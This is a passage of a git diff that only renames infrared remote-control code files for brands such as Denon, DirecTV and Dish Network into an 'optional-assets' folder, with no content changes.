assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/2,3.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/2,3.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/2,3.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/2,3.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,3.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,3.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,3.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,3.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,6.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,6.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,6.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,6.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,8.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,8.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,8.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,8.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/96,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/96,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/96,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/96,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/97,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/97,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/97,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/97,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Tuner/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Tuner/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Tuner/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Tuner/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Tuner/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Tuner/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Tuner/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Tuner/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Unknown/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/DSS/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/DSS/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/DSS/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/DSS/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/DVR/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/DVR/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/DVR/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/DVR/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Satellite/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Satellite/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown/12,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown/12,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,12.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,12.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,12.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,12.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,2.ir diff --git 